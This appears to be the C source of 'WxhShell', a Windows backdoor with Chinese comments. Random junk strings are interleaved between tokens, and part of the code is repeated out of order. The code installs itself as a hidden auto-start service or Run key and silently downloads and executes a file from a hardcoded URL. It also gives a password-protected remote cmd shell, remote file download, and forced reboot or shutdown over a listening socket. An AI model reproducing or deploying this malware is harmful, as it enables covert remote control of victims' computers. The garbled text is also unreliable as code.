$tc1te DWORD ExitStatus; *5XOYb?'v. DWORD PebBaseAddress; xDPR^xY DWORD AffinityMask; ?|Z~mE DWORD BasePriority; l+wfP76w ULONG UniqueProcessId; sV0NDM0 ULONG InheritedFromUniqueProcessId; GJU9[ } PROCESS_BASIC_INFORMATION; q<^MC/] 9;9ge PROCNTQSIP NtQueryInformationProcess; Q.3:"dT X f;R'a,$ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k}qCkm27 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sk:B;.z v>mK~0.$ HANDLE hProcess; u"wWekB PROCESS_BASIC_INFORMATION pbi; %h,&N D (F3R!n HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CGb4C(%-7 if(NULL == hInst ) return 0; c4Q9foE
Eg}U.ss^ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1*6xFn g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =\MAz[IDj NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [#G*GAa6* ~J#Z7y]p!j if (!NtQueryInformationProcess) return 0; M} ri>o d.Ccc/1- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wi,)a{ if(!hProcess) return 0; G^.tAO5:f >lyE@S sA if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -eD]gm
}J-e:FUF# CloseHandle(hProcess); 1_;{1O+B *(5T?p[7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D#`>p if(hProcess==NULL) return 0; C9""sVs v046 HMODULE hMod; -0]%#(E%`h char procName[255]; ?1O`
Rd{tn unsigned long cbNeeded; BG.sHI{ Z.x]6 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3Of!Ykf= 3zc;_U2 CloseHandle(hProcess); Jt<J#M<}7 5')]Y1J if(strstr(procName,"services")) return 1; // 以服务启动 xsy45az<ip IDpx_ return 0; // 注册表启动 Bga4kjfmk } .wlKl[lE2 \D]9:BNJ // 主模块 vSv1FZu* int StartWxhshell(LPSTR lpCmdLine) bR:hu}YS { O
9M?Wk
: SOCKET wsl; DWCf+4 BOOL val=TRUE; >M##q?. int port=0; {9Ok^O struct sockaddr_in door; JBZ1DZAWC f/\S:x-B if(wscfg.ws_autoins) Install(); 7[K3kUm[ BJ'pe[Xa5 port=atoi(lpCmdLine); N 6\Ey{ oS<GjI: if(port<=0) port=wscfg.ws_port; _2}~Vqb+ &h!O<'*2 WSADATA data; 4}UJBb? if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F0r2=f(? X8R:9q_ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; agkKm?xIL setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7|_2@4-W6 door.sin_family = AF_INET; 3-1a+7fD door.sin_addr.s_addr = inet_addr("127.0.0.1"); .j>MsQP#\C door.sin_port = htons(port); OA} r*Wz 23,pVo if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v9KsE2Ei closesocket(wsl); P&@,Z#\ return 1; 7xux%:BN } cnw+^8 ?Pf#~U_ if(listen(wsl,2) == INVALID_SOCKET) { c9c3o{(6Y closesocket(wsl); )~ &gBX return 1; `CBXz!v!O } o61rTj Wxhshell(wsl); fgC@(dvfk WSACleanup(); D/;[x{;E YTTij|( return 0; G-R83Orl l%?4L/J)# }
ylS6D 4PkKL/E // 以NT服务方式启动 Q
8;JvCz VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Dfc%
jWbA { 2+C:Em0yI DWORD status = 0; ;4GGXT++L DWORD specificError = 0xfffffff; '.>y'= gN73)uJ0 serviceStatus.dwServiceType = SERVICE_WIN32; D`'Cnt/ serviceStatus.dwCurrentState = SERVICE_START_PENDING; Br42Qo2"T> serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VN\VTSZh?\ serviceStatus.dwWin32ExitCode = 0; rl$"~/ oz serviceStatus.dwServiceSpecificExitCode = 0; :O,r3O6 serviceStatus.dwCheckPoint = 0; CF\wR;6k serviceStatus.dwWaitHint = 0; ;_|4c7 6U$e;cr6 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \Y8 sIs if (hServiceStatusHandle==0) return; ]sE)-8 @3=q9ftm status = GetLastError(); yJ ljCu)f if (status!=NO_ERROR) SyT{k\[ { P>_9>k@;Q serviceStatus.dwCurrentState = SERVICE_STOPPED; q@;1{ serviceStatus.dwCheckPoint = 0; y65lbl%Zn serviceStatus.dwWaitHint = 0; h+&iWb3; serviceStatus.dwWin32ExitCode = status; vW!O("\7K< serviceStatus.dwServiceSpecificExitCode = specificError; W,H=K##6< SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?$uF(>LD
return; 2mMi=pv9 } ,=c(P9}^ Q>9bKP serviceStatus.dwCurrentState = SERVICE_RUNNING; %X}vuE[[UC serviceStatus.dwCheckPoint = 0; j8PeO&n> serviceStatus.dwWaitHint = 0; 4GG>n if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #n15_cd } SD:`l<l ^q0`eS // 处理NT服务事件,比如:启动、停止 4sRg+mMI VOID WINAPI NTServiceHandler(DWORD fdwControl) }m%&|:PH { }A;YM1^$ switch(fdwControl) F< 5kcu#iL { ;T8(byH ? case SERVICE_CONTROL_STOP: S#He OPRL serviceStatus.dwWin32ExitCode = 0; i "X" -)# serviceStatus.dwCurrentState = SERVICE_STOPPED; #3{}(T7 serviceStatus.dwCheckPoint = 0; ~x+'-2A46 serviceStatus.dwWaitHint = 0; fkImX:|q { hx8pg,X SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tp.]{* } /me ]sOkn return; @p}_"BHYWt case SERVICE_CONTROL_PAUSE: %hw4IcWJ| serviceStatus.dwCurrentState = SERVICE_PAUSED; 9^`cVjD5 break; &,:!gYN case SERVICE_CONTROL_CONTINUE: zxD=q5in serviceStatus.dwCurrentState = SERVICE_RUNNING; [Ob'E!;< break; `kv7Rr}Q case SERVICE_CONTROL_INTERROGATE: SDNRcSbOD6 break; XP:fL
NpQ }; _*8 6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); C!9mygI } #w \x-i| >9i>A: // 标准应用程序主函数 5[r}'08b int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }LQV2 hKTG { &)JoB vWrTB // 获取操作系统版本 ?EPHq,
E OsIsNt=GetOsVer(); WS(m#WFQr GetModuleFileName(NULL,ExeFile,MAX_PATH); 0R`>F"> G(Hr*T% // 从命令行安装 v.vkQQ0[9 if(strpbrk(lpCmdLine,"iI")) Install(); 7+@-mJMP$D &2[Xu4* // 下载执行文件 1OMaY5F if(wscfg.ws_downexe) { N#)Klq87z if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3O1Lv2)_ WinExec(wscfg.ws_filenam,SW_HIDE); 2EN}"Du]mj } Ui9;rh$1eU I.|b:c
xN if(!OsIsNt) { ,{msJyacmR // 如果时win9x,隐藏进程并且设置为注册表启动 d)D!np= HideProc(); 02tN=}Cj) StartWxhshell(lpCmdLine); -MsL>F.] } Eyk:pnKJb else /YU8L if(StartFromService()) 2Q@Jp`#,4 // 以服务方式启动 Vm8dX? StartServiceCtrlDispatcher(DispatchTable); J(maJuY else y;4g>ma0 // 普通方式启动 3
Fy CD4# StartWxhshell(lpCmdLine); H.C*IL9 ]q[(z return 0; gW4fwE^ } nhC8Tq[m
f<nK; =3SJl1w1 HkhZB^_V =========================================== PNo:vRtsq Y}s6__ ,L~aa?Nb- r|\{!;7 -e_TJA =5fY3%^b{ " YO?o$Hv16 :sLg$OF #include <stdio.h> (JnEso-V #include <string.h> +j+
v(- #include <windows.h> K3h7gY| . #include <winsock2.h> nR@mm
j #include <winsvc.h> E]g6|,4~- #include <urlmon.h> ^-n^IR}J (vzYgU, #pragma comment (lib, "Ws2_32.lib") %{cVG-<_iz #pragma comment (lib, "urlmon.lib") :V#xrH8R omy3<6 #define MAX_USER 100 // 最大客户端连接数 (a-Lx2 T #define BUF_SOCK 200 // sock buffer qp#Euq6 #define KEY_BUFF 255 // 输入 buffer V51kX{S 77aUuP7Iw #define REBOOT 0 // 重启 n_LK8 #define SHUTDOWN 1 // 关机 TvT>UBqj= 3B,dL|q(@J #define DEF_PORT 5000 // 监听端口 Bz>f ,3MHZPJ?k] #define REG_LEN 16 // 注册表键长度 6@FhDj2X #define SVC_LEN 80 // NT服务名长度 0Bkz)4R
Cc`-34/% // 从dll定义API K^tc]ZQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kRb JK typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p}/D{|xO typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #*"V'dj;e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <&O*'
<6C a|4D6yUw| // wxhshell配置信息 n&|N=zh struct WSCFG { DcM/p8da int ws_port; // 监听端口 T\6,@7 char ws_passstr[REG_LEN]; // 口令 .'38^ int ws_autoins; // 安装标记, 1=yes 0=no kjdIk9 Y char ws_regname[REG_LEN]; // 注册表键名 (f_J @n char ws_svcname[REG_LEN]; // 服务名 q *Hg-J} char ws_svcdisp[SVC_LEN]; // 服务显示名 ^4Xsd h5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 45<gO1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /0|1xHs int ws_downexe; // 下载执行标记, 1=yes 0=no \ISg6v{/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Le bc@, char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r)Zk- !1 `/N={ }; t:P]bp^# .H qJ)OH // default Wxhshell configuration [P ;fv struct WSCFG wscfg={DEF_PORT, BzWkZAX "xuhuanlingzhe", ?2,D-3 { 1, %_B2/~ "Wxhshell", /dvronG "Wxhshell", ,g*3u "WxhShell Service", S*J\YcqSC "Wrsky Windows CmdShell Service", S>*i\OnI' "Please Input Your Password: ", o]qwN:8^ 1, ~dLbhjden "http://www.wrsky.com/wxhshell.exe", @.}Y'`9L "Wxhshell.exe" /%p
~ }; QOrMz`OA $""kZ // 消息定义模块 #=ij</ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8No'8(dPX char *msg_ws_prompt="\n\r? for help\n\r#>"; `Eu,SvkF w char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kv+^U^WoU char *msg_ws_ext="\n\rExit."; cT/mi":8{ char *msg_ws_end="\n\rQuit."; %0}}Qt char *msg_ws_boot="\n\rReboot..."; 2DJg__(" char *msg_ws_poff="\n\rShutdown..."; /Lm~GmPt char *msg_ws_down="\n\rSave to "; c VO-iPK [cznhIvyO char *msg_ws_err="\n\rErr!"; w{*V8S3h9 char *msg_ws_ok="\n\rOK!"; @o'L! 5Y 83'+q((< char ExeFile[MAX_PATH]; :~srl)|) int nUser = 0; 3ZyvX]@_ HANDLE handles[MAX_USER]; g`C8ouy int OsIsNt; W_ Hoa*~ .;ofRx< SERVICE_STATUS serviceStatus; jJt4{c SERVICE_STATUS_HANDLE hServiceStatusHandle; (RG "2I3 5M5vxJ)Lh // 函数声明 |/%5~=%7 int Install(void); d&Nji%Ej int Uninstall(void); $ywROa] int DownloadFile(char *sURL, SOCKET wsh); 9b,0_IMHH int Boot(int flag); J:ka@2>| void HideProc(void); /7p(%vr int GetOsVer(void); 41+WIa
L int Wxhshell(SOCKET wsl); l`:u5\ rM void TalkWithClient(void *cs); 1ZYo-a;) int CmdShell(SOCKET sock); Ej6ho 0_ int StartFromService(void); @)[8m8paV int StartWxhshell(LPSTR lpCmdLine); R)*l)bpZ# (pP.*`JRv VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _JTK$\ VOID WINAPI NTServiceHandler( DWORD fdwControl ); (aSuxl.Dq "_dg$j`Y&& // 数据结构和表定义 Y}t)!}p$r SERVICE_TABLE_ENTRY DispatchTable[] = XIZN9/; { *o:J 4' {wscfg.ws_svcname, NTServiceMain}, vZ57
S13 {NULL, NULL}
iD])E/ }; j&a\ K}U! )8 aHj4x // 自我安装 Ty~z%=H int Install(void) `"yxmo*0 { 9^?muP<A char svExeFile[MAX_PATH]; soQ[Zg4} HKEY key; O`GF| strcpy(svExeFile,ExeFile); PE/uB,Wl P?n4B \! // 如果是win9x系统,修改注册表设为自启动 ^EkxZ4*g if(!OsIsNt) { 5jwv! L<n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~OvbMWu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H<<t^,E^.t RegCloseKey(key); mTUoFXX[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &=n/h5e0t& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %xQ'i4` RegCloseKey(key); 2e-bt@0t return 0; <%m1+%mA. } p9u'nDi } ANM=:EtP } /QVwZrch else { K\8zhY Qo^(r$BD // 如果是NT以上系统,安装为系统服务 I_Gz~ qk6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mD&I6F[s if (schSCManager!=0) %eIaH!x: { wF% RM$ SC_HANDLE schService = CreateService rKFnivGT ( $M!iQ"bb schSCManager, w4}Q6_0v wscfg.ws_svcname, $U9]v5 wscfg.ws_svcdisp, q+*\'H> SERVICE_ALL_ACCESS, P6La)U`VA SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .QZjJ9pvK SERVICE_AUTO_START, yE,qLiH SERVICE_ERROR_NORMAL, ,c?(
|tF svExeFile, >$-YNZA NULL, 4cPZGZ{U NULL, q165S NULL, OgC,oj,!/ NULL, Ok{1{EmP NULL |:x,|>/ ); La'6k if (schService!=0) ~OR^ { A?}[rM
Z CloseServiceHandle(schService); P:vp/x! CloseServiceHandle(schSCManager); `aG_ m/7| strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U$+,|\9 strcat(svExeFile,wscfg.ws_svcname); ;s3\Z^h4kd if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eiyr^Sch. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GI,TE RegCloseKey(key); WG\
_eRj return 0; oA7DhU5n } 2@
9? ~?r } e`LkCy[_ CloseServiceHandle(schSCManager); vxC];nCC# } _kMHF } j3`YaWw hi/d%lNZ return 1; \#VWZ\M8a } /^k%sG@? A/UO cl+N // 自我卸载 dhnX\/ int Uninstall(void) Y~{<Hs { %g@\SR. HKEY key; DC1.f(cdR %Y=r5'6l if(!OsIsNt) { |?Edk7` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "a~r'+'< RegDeleteValue(key,wscfg.ws_regname); G6W|l2P! RegCloseKey(key); PLz+%L;{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A[7H-1- RegDeleteValue(key,wscfg.ws_regname); 4
?PB
Fbd RegCloseKey(key); Kb{&a return 0; -qaO$M^Q } 0#8, (6 } ;]m;p,$ } 32SkxcfrCK else { )AR-b8..o ^gp]tAf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p3mZw lO if (schSCManager!=0) {6RA~ { _a& Z$2O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fKr_u<| if (schService!=0) \mJR^t { ~1}fL 1~5 if(DeleteService(schService)!=0) { j$/#2%OVN CloseServiceHandle(schService); U\qbr.< CloseServiceHandle(schSCManager); b1i~F45h return 0; <8kCmuGlk } LAlX|b CloseServiceHandle(schService); u pUJF`3 } 26k~Z} CloseServiceHandle(schSCManager); \$DBtq5= } CdmpKkq# } WoGnJ0N q 71P. 9Iz return 1; ![r)KE=v8I } 8,[ *BgeX .JB1#&B+ // 从指定url下载文件 F*Hovxez int DownloadFile(char *sURL, SOCKET wsh) <X4f2z{T{@ { H!X*29nX HRESULT hr; W5Pur
lu? char seps[]= "/"; HpIi- Es7C char *token; &-Wt!X 3 char *file; 8N9,HNBT$ char myURL[MAX_PATH]; mk!8>XvM char myFILE[MAX_PATH]; N}7b^0k 0n`Temb/ strcpy(myURL,sURL); sH2xkUp token=strtok(myURL,seps); XP% _|Q2X while(token!=NULL) sn^ 3xAF { .|07IH/Di{ file=token; VWK/(>TP token=strtok(NULL,seps); CL7/J[TS } dz/fSA Cu24xP` GetCurrentDirectory(MAX_PATH,myFILE); : fYfXm strcat(myFILE, "\\"); LK*9`dzv=G strcat(myFILE, file); `fX\pOk~e send(wsh,myFILE,strlen(myFILE),0); y_q1Y70i2r send(wsh,"...",3,0); ;R2A>f~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h>[ qXz if(hr==S_OK) er1XZ return 0; -UzWLVB^ else L[*cbjt[ return 1; nXb_\9E Vraz}JV } nFG X2|d 4 Sk@ v // 系统电源模块 W|rAn2H int Boot(int flag) *dBmb { P{`fav HANDLE hToken; PyHL`PZZ TOKEN_PRIVILEGES tkp; V/"RCqY4 ;Wk3>\nT- if(OsIsNt) { 6]<yR>
' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H\<0{#F LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C\BKdx5; tkp.PrivilegeCount = 1; yY49JZ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h;r^9g AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G,Eh8HboK if(flag==REBOOT) { &Fuk+Cu{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Zj ` ;IYFG return 0;
fB]2"( } <_eEpG}9 else { LCA+y1LP-_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (yd(ZY return 0; @zi0:3`#0\ } %_p]6doF
} h]z 8.k2n else { 4[;}/- if(flag==REBOOT) { =B;qy7? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P~:^bU^F7 return 0;
u0oTqD? } udr|6EjD. else { bVN?7D( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _]Ob)RUVH return 0; WpE"A } $[MAm)c:]{ } _<c}iZv@ CA&VnO{r return 1; `<<9A\Y-f } >>C
S8 RX?!MDO // win9x进程隐藏模块 3%o}3.P,:@ void HideProc(void) &c&TQkx { &1yErGXC 8JR&s HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Da6l=M if ( hKernel != NULL ) b{-|q6 { \21Gg%W5AE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]S9Z5l0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?g@X+!RB FreeLibrary(hKernel); =<aFkBX- } ~Cyn w( e F}KOOfC return; Y@MxKK uj } UM21Cfqex 'BgR01w J // 获取操作系统版本 ;KmrBNF int GetOsVer(void) (0_zp`) { OuWRLcJ! OSVERSIONINFO winfo; ScVbo3{m*T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j!k$SDA- GetVersionEx(&winfo); r#w 7qEtD if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z]k@pR ! return 1; 4JO16 else KE5>O1 return 0; x=x%F; } +s`cXTlFrk T4ugG?B* // 客户端句柄模块 c3PA<q[ int Wxhshell(SOCKET wsl) <)sL8G9Y {
eIlovq/X SOCKET wsh; LZs'hA<L struct sockaddr_in client; oGg<s3;UND DWORD myID; ]EDCs?, QpoC-4F while(nUser<MAX_USER) x6Gl|e[jv { i$6a0'@U int nSize=sizeof(client); P&tw!B wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TMsCl6dB if(wsh==INVALID_SOCKET) return 1; tBl(E ^x^(Rk}| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |_+l D|' if(handles[nUser]==0) :1gpbfW closesocket(wsh); #a
tL2(wJ else )_o^d>$da nUser++; ? `kZ 6$ } ;}ThBb3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z" ?WT$ @ uQ *$ return 0; p-DHTX } ICe;p
V 8.IenU9 // 关闭 socket ty%,T.@e void CloseIt(SOCKET wsh) ^4<&"aoo { }mUb1b closesocket(wsh); h>!9N
dzG nUser--;
/Q:mUd ExitThread(0); mWn0"1C } plJUQk {9XNh[NbP // 客户端请求句柄 "}-S%v`)z void TalkWithClient(void *cs) *ywr_9 { 7;Q4k"h ;3bUgI}.J SOCKET wsh=(SOCKET)cs; STg}
Z char pwd[SVC_LEN]; "i*gJFW| char cmd[KEY_BUFF]; # M!1W5# char chr[1]; 7+X~i@#rU int i,j; |}<Gz+E> N:+d=G`x while (nUser < MAX_USER) { `YMd0* SdnO#J}{ if(wscfg.ws_passstr) { BD^1V(
I/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2vsV:LS. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m"'`$ /_ //ZeroMemory(pwd,KEY_BUFF); +~y>22Zfg i=0; ,LmP >Q. while(i<SVC_LEN) { $ye>;Ek x_C0=Q|K3 // 设置超时 d:#tN4y7( fd_set FdRead;
cJTwgm? struct timeval TimeOut; P6'Se'f8 FD_ZERO(&FdRead); qTMY]=( FD_SET(wsh,&FdRead); p:0X3?IG3 TimeOut.tv_sec=8; |pq9i)e& TimeOut.tv_usec=0; _.BT%4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :IfwhI) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SN\c2^# Ve)BF1YG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .`v%9-5v
pwd=chr[0]; M#m;jJqON if(chr[0]==0xd || chr[0]==0xa) { N0NFgW; pwd=0; YB2gxZ break; x#R6Ez7 } ?0+g.,9 i++; e:C4f } nf1 `)tXG P$*Ngt // 如果是非法用户,关闭 socket Sw5-^2x0' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /5j5\F:33 }
R*S:/s ;G3?Sa7+ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s2 :Vm\ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x.] tGS 8gt&*;'}*D while(1) { ~mi4V wQ@:0GJH ZeroMemory(cmd,KEY_BUFF); uxh>r2Xr= 0\@oqw]6hv // 自动支持客户端 telnet标准 ijzwct#. j=0; gxAy{
t while(j<KEY_BUFF) { b`=g#B| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6qT- cmd[j]=chr[0]; rK:cUW0]X if(chr[0]==0xa || chr[0]==0xd) { y=EVpd cmd[j]=0; pv-c>8Wb6 break; DL!%Np?` } 2' ^7G@% j++; ?.H]Y&XF } ={N1j<%fh .V3e>8gw3 // 下载文件 W}MN-0 if(strstr(cmd,"http://")) { ?A*!rW:l; send(wsh,msg_ws_down,strlen(msg_ws_down),0); P~iZae
if(DownloadFile(cmd,wsh)) ',LC!^:~Nw send(wsh,msg_ws_err,strlen(msg_ws_err),0); "dvo@n| else hCd? Kti send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eR6vO5to } k6RVP:V else { g-"G Zi MtN!Xx switch(cmd[0]) { $60`Hh 4/ >V)"TZH // 帮助 gw[Eu>I case '?': { !@N?0@$/ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uN>5Eh&=Pf break; h8(>$A- } Pw thYy // 安装 cY kb3( case 'i': { >!a- " if(Install()) RtpV08s\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); /@\R else BzO,(bd!PI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RwOOe7mv break; SPt/$uYJ } YhS_ ,3E // 卸载 ^m&P0 case 'r': { u#Jr_ze if(Uninstall()) @h!Z0}dX( send(wsh,msg_ws_err,strlen(msg_ws_err),0); , c{ckm else ?h%Jb^#9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ctjQBWE break; N
fG9a~ } $u yx // 显示 wxhshell 所在路径 '=#fELMW case 'p': { >8=lX`9f{ char svExeFile[MAX_PATH]; 0.w7S6v|& strcpy(svExeFile,"\n\r"); UOl*wvy strcat(svExeFile,ExeFile); }f?[m&< send(wsh,svExeFile,strlen(svExeFile),0); ka8Y+Gs break; b.@4yW } LyWY\K a // 重启 *pv<ZF0> case 'b': { q^Oj/ws send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dIYf}7 P if(Boot(REBOOT)) ov;^ev,( send(wsh,msg_ws_err,strlen(msg_ws_err),0); +jF2{" else { q#8yU\J|, closesocket(wsh); 2.b,8wT/ ExitThread(0); WulyMcJ } jlU6keZh` break; vB{iw}Hi! } #ye`vD // 关机 ljOY;WV3 case 'd': { 6L$KMYHE send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m|{^T/kIbQ if(Boot(SHUTDOWN)) #5z0~Mg-X send(wsh,msg_ws_err,strlen(msg_ws_err),0); GJrmK else { L+<h5>6 closesocket(wsh); 2Ki_d ExitThread(0); ThI}~$Y } 9 i/
( break; )E>yoUhN } Mb 4"bDBsl // 获取shell f pq|mY case 's': { 6uFw+Ya#
CmdShell(wsh); #fns3=/H closesocket(wsh); W&%,XwkQ ExitThread(0); 'hs4k|B break; aK@
Y) Ju' } 4YikC // 退出 }^&f { case 'x': { PgT8
1u send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?u@jedQ CloseIt(wsh); =f{v:n6 break; '6&o:t } Zp~yemERr // 离开 6WGg_x?3 case 'q': { }P.Z}n;Uj send(wsh,msg_ws_end,strlen(msg_ws_end),0); EGQgrwY5 closesocket(wsh); /r"<:+ WSACleanup(); Hcu!bOQ exit(1); d8w3Oz54 break; \WE&5
9G } ~U"m"zpLP } ;..z)OP_ } b(;u2 8 `Y4K w // 提示信息 4Zwbu if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?<C(ga } (b<0=U } <%S)6cw(3 3J
&Ros return; dVEs^ZtI } eDZ8F^0 Z,E$4Z // shell模块句柄 C:5-h(# int CmdShell(SOCKET sock) Fw\Z[nh { ckA\{v STARTUPINFO si; iKJqMES ZeroMemory(&si,sizeof(si)); i:0v6d si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {eaR,d~X si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k!0O[U PROCESS_INFORMATION ProcessInfo; $a*7Q~4 char cmdline[]="cmd"; 7N[".V]c CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NOXP}M return 0; lsOv#X-bE } 9>S)*lU&s :! oJmvy // 自身启动模式 208^Yu int StartFromService(void) jo<xrn\ { HC6U_d1-6 typedef struct #[{{&sN { -?)^
hbr DWORD ExitStatus; iv *$!\Cd DWORD PebBaseAddress; 'QT~o-U DWORD AffinityMask; dnoF)(d&Cm DWORD BasePriority; \~E?;q! ULONG UniqueProcessId; O?Bf (y ULONG InheritedFromUniqueProcessId; .s*N1
U?h } PROCESS_BASIC_INFORMATION; U`qC.s(L #:gl+ PROCNTQSIP NtQueryInformationProcess; 6-_g1vq zY_J7,0g static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *O~y6|U? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `5Kg[nB: s;OGb{H7 HANDLE hProcess; `z(o01y PROCESS_BASIC_INFORMATION pbi; CsA (oX vu*e*b$} HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2lpPN[~d if(NULL == hInst ) return 0; ))|d~m T:@6(_Z g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yogavCD9b/ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t[`LG) NtQueryInformationProcess = 